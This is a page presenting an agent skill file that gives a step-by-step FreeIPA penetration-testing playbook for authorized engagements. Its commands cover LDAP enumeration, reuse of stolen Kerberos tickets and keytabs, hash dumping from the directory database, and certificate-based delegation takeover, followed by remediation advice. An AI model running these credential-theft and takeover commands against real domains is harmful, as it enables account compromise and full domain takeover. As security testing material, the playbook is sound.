pentesting-freeipa

$npx mdskill add xalgord/xalgorix/pentesting-freeipa

- During authorized engagements against Unix/Linux environments that use FreeIPA for centralized identity - When `/etc/krb5.conf`, `/etc/ipa/default.conf`, or `/etc/krb5.keytab` are present on a compromised host (FreeIPA-joined) - After capturing a CCACHE ticket from `/tmp`, the keyring, or a keytab file - When you need an AD-BloodHound-style attack graph for a Unix domain - For HBAC/sudo-rule and role/privilege misconfiguration review

SKILL.md

.github/skills/pentesting-freeipaView on GitHub ↗
---
name: pentesting-freeipa
description: Enumerating and attacking FreeIPA domains during authorized engagements — anonymous and authenticated LDAP
  enumeration, Kerberos ticket (CCACHE/keytab) abuse, HBAC and sudo-rule analysis, hash extraction, IPAHound graphing,
  and PKINIT/S4U2proxy delegation takeover paths.
domain: cybersecurity
subdomain: linux-hardening
tags:
- penetration-testing
- linux
- freeipa
- kerberos
- ldap
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting FreeIPA

## When to Use

- During authorized engagements against Unix/Linux environments that use FreeIPA for centralized identity
- When `/etc/krb5.conf`, `/etc/ipa/default.conf`, or `/etc/krb5.keytab` are present on a compromised host (FreeIPA-joined)
- After capturing a CCACHE ticket from `/tmp`, the keyring, or a keytab file
- When you need an AD-BloodHound-style attack graph for a Unix domain
- For HBAC/sudo-rule and role/privilege misconfiguration review

## Critical: Techniques Most Often Missed

FreeIPA looks like "just LDAP + Kerberos," so testers under-enumerate. The richest paths are in HBAC rules, delegation attributes, and ticket reuse.

- **Anonymous LDAP bind leaks the whole directory.** FreeIPA allows anonymous binds by default.
  - How to CONFIRM: `ldapsearch -x -h <ipa-server> -b "dc=domain,dc=local"` returns users/groups/hosts without credentials.
- **CCACHE ticket reuse = passwordless auth.** Tickets in `/tmp` (mode 600) or the keyring can be exported and reused.
  - How to CONFIRM: `KRB5CCNAME=/tmp/krb5cc_1000 klist` shows a valid TGT; subsequent `ipa user-find` succeeds with no password.
- **Keytab files yield TGTs without a password.** `/etc/krb5.keytab` or service keytabs let you `kinit -kt`.
  - How to CONFIRM: `klist -kt /etc/krb5.keytab` lists principals; `kinit -kt /etc/krb5.keytab host/$(hostname)` gets a TGT.
- **HBAC CanSSH + CanSUDO to a DC is full domain compromise.** A sudo rule with `!authenticate` on the IPA server lets you read `id2entry.db`.
  - How to CONFIRM: `ipa sudorule-show <rule> --all` shows `ipaSudoOpt: !authenticate` and a host = the IPA server.
- **Delegation attributes expose takeover paths.** `ipaAllowedToPerform;write_keys` (ForceChangePassword), `write_delegation` (RBCD), `IPAKrbOkToAuthAsDelegate`.
  - How to CONFIRM: IPAHound surfaces `ReadKerberosKey` / `ForceChangePassword` / `AddRBCD` edges from these attributes.
- **`root` IPA user == AD Domain Admin; IPA server root reads all hashes.** `dbscan` on the server dumps `userPassword`/`ipaNTHash`.
  - How to CONFIRM: as root on the IPA server, `dbscan` over the directory DB returns base64 password hashes.

## Workflow

### Step 1: Fingerprint the FreeIPA Environment

```bash
cat /etc/krb5.conf            # KDC + admin server locations, realm
cat /etc/ipa/default.conf     # IPA client/server defaults
ls -l /etc/krb5.keytab        # host keytab present => joined host
env | grep -i krb5            # KRB5CCNAME, KRB5_KTNAME, KRB5_CONFIG
klist                         # any cached tickets already present
```

### Step 2: Unauthenticated LDAP Enumeration

```bash
# Anonymous bind dumps a large amount of directory data
ldapsearch -x -h ipa.domain.local -b "dc=domain,dc=local"
ldapsearch -x -h ipa.domain.local -b "cn=users,cn=accounts,dc=domain,dc=local" uid
# Or hit the FreeIPA web UI on 443 for the same data
```

### Step 3: Authenticate, Then Enumerate with ipa / LDAP (GSSAPI)

```bash
# Obtain a ticket (password, keytab, or reuse an existing CCACHE)
kinit user@DOMAIN.LOCAL
kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL
export KRB5CCNAME=/tmp/krb5cc_1000        # reuse a captured ticket

# Authenticated LDAP (GSSAPI)
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain,dc=local"

# Domain-joined binaries
ipa user-find ; ipa usergroup-find ; ipa host-find ; ipa hostgroup-find
ipa user-show <user> --all
```

### Step 4: Analyze HBAC, Sudo Rules, Roles & Privileges

```bash
# HBAC (who can access which host/service)
ipa hbacrule-find ; ipa hbacrule-show <rule> --all
ldapsearch -Y gssapi -b "cn=hbac,dc=domain,dc=local"

# Sudo rules — look for !authenticate and runAs root
ipa sudorule-find ; ipa sudorule-show <rule> --all
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain,dc=local"

# Roles / privileges / permissions
ipa role-find ; ipa privilege-find ; ipa permission-find
```

### Step 5: Harvest & Reuse Kerberos Credentials

```bash
# Parse / reuse a CCACHE ticket
klist /tmp/krb5cc_*           # inspect
export KRB5CCNAME=/tmp/krb5cc_1000 && ipa user-find   # reuse

# Tickey extracts tickets from the Linux keyring
./tickey -i

# Keytab -> TGT (no password needed)
klist -kt /etc/krb5.keytab
kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL

# On the IPA SERVER as root, dump hashes
dbscan -f /var/lib/dirsrv/slapd-*/db/userRoot/id2entry.db   # userPassword / ipaNTHash (base64)
# linikatz / LinikatzV2 automate credential extraction from IPA/SSSD caches
```

### Step 6: Build an Attack Graph (IPAHound) & Find Delegation Paths

```bash
# Collect with Kerberos or user/pass
IPAHound -k -s dc1.domain.local -a freeipa_apoc.json
IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Pass!' -a freeipa_apoc.json

# Import into Neo4j and query password-sprayable principals
#   MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName
# Pivot on CanSSH + CanSUDO edges; a path to a DC => domain compromise
```

### Step 7: PKINIT / S4U2proxy Delegation Takeover (owned computer/service)

```bash
# Write a cert into an owned service object, then PKINIT as it
openssl req -new -newkey rsa:2048 -days 365 -nodes \
  -keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
# add userCertificate;binary to the LDAP object (ldapmodify), then:
kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
ldapwhoami -H ldap://dc1.domain.local       # verify identity

# With an AllowedToDelegate path, impersonate admin to LDAP via S4U2proxy
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
  test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **FreeIPA** | Open-source AD alternative: LDAP directory + MIT Kerberos KDC + Dogtag CA, SSSD-integrated |
| **CCACHE** | Binary Kerberos credential cache (in `/tmp` mode 600 or the keyring); reusable via `KRB5CCNAME` |
| **Keytab** | File of principals + encrypted keys; yields a TGT with `kinit -kt`, no password |
| **HBAC rule** | Host-Based Access Control — defines which users/hosts may reach which services (e.g. sshd) |
| **Sudo rule** | Centralized sudo policy; `ipaSudoOpt=!authenticate` enables passwordless escalation |
| **ipaNTHash / userPassword** | Base64 password material in LDAP; crackable (ipaNTHash easiest, then SSHA512, PBKDF2_SHA256) |
| **PKINIT** | Certificate-based Kerberos pre-auth; abused by writing a cert into an owned object |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **ipa** | Native domain enumeration/management CLI (user-find, sudorule-show, etc.) |
| **ldapsearch** | Anonymous (`-x`) and authenticated (`-Y gssapi`) directory enumeration |
| **kinit / klist / kvno** | Obtain, inspect, and request Kerberos tickets and service tickets |
| **Tickey** | Extracts Kerberos tickets from the Linux keyring |
| **dbscan** | Dumps LDAP DB on the IPA server to extract password hashes (requires root there) |
| **IPAHound / IPAHound-GUI** | BloodHound-style FreeIPA attack-path graphing into Neo4j |
| **LinikatzV2 / linikatz** | Extract IPA/SSSD credentials and tickets from a compromised host |

## Common Scenarios

### Scenario 1: Anonymous enumeration to spray list
Anonymous `ldapsearch -x` dumps all `uid` values. IPAHound's `PasswordAuthAllow=True` query trims this to a focused spray list, recovering a low-priv account.

### Scenario 2: Keytab reuse for lateral movement
A web app host holds `/etc/krb5.keytab`. `kinit -kt` produces a host TGT; combined with a `CanSSH` HBAC edge, the tester moves to another host without any password.

### Scenario 3: Sudo rule with !authenticate on the IPA server
`ipa sudorule-show` reveals a rule granting a service account `!authenticate` root on the IPA server. SSHing there and copying `id2entry.db` exposes every domain hash.

### Scenario 4: Service delegation to LDAP admin
An owned computer account owns its service principal. Writing a cert (PKINIT) and abusing an `AllowedToDelegate` path via S4U2proxy impersonates `admin` to LDAP, achieving domain compromise.

## Output Format

```
## FreeIPA Compromise Finding

**Vulnerability**: FreeIPA Domain Privilege Escalation
**Severity**: Critical
**Domain**: DOMAIN.LOCAL  |  IPA Server: dc1.domain.local

### Attack Path
1. Anonymous LDAP bind enumerated all users/hosts/HBAC rules
2. Captured CCACHE /tmp/krb5cc_1000 -> reused (KRB5CCNAME) as user 'svc-web'
3. IPAHound graph: svc-web --CanSSH--> dc1 --CanSUDO(!authenticate)--> root
4. Copied /var/lib/dirsrv/.../id2entry.db; dbscan dumped all ipaNTHash values

### Evidence
$ ipa sudorule-show allow_svc_dc --all
  ipaSudoOpt: !authenticate ; host: dc1.domain.local ; runAsUser: root

### Impact
Full domain compromise: all user/service hashes recovered, root on the KDC.

### Recommendation
1. Disable anonymous LDAP binds (nsslapd-allow-anonymous-access: off)
2. Scope HBAC/sudo rules tightly; never use !authenticate on the IPA server
3. Protect keytabs (mode 600, root-only) and purge stale CCACHE files from /tmp
4. Monitor delegation attributes (write_keys, write_delegation) for unexpected grants
5. Enforce strong KDF (PBKDF2_SHA256) and rotate credentials after exposure
```

More from xalgord/xalgorix